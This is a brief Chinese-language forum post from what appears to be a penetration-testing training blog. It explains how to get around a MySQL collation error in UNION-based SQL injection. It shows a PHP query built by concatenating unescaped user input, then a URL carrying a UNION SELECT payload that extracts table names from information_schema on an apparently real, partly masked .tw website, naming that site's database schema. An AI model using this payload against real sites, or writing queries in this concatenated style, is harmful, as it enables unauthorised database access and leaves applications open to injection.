女黑客博客-渗透测试白帽子零基础培训

标题: MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法 [打印本页]

作者: nvhack    时间: 2019-1-7 20:35
标题: MySQL注入 Illegal mix of collations for operation 'UNION' 解决办法
Illegal mix of collations for operation 'UNION'

修改sql语句为如下格式
    $sql="select * from {$tablepre}members where nickname='".$nickname."'";    修改为
    $sql="select * from {$tablepre}members where nickname=binary('".$nickname."')";   

http://www.xxx.tw/page.php?menu_ ... ion%20select%20null,null,binary(table_name),null,null,null,null%20from%20information_schema.tables%20where%20table_schema=%27mooneor1_hofeng168%27%20limit%200,1





欢迎光临 女黑客博客-渗透测试白帽子零基础培训 (https://www.nvhack.com/) Powered by Discuz! X3.4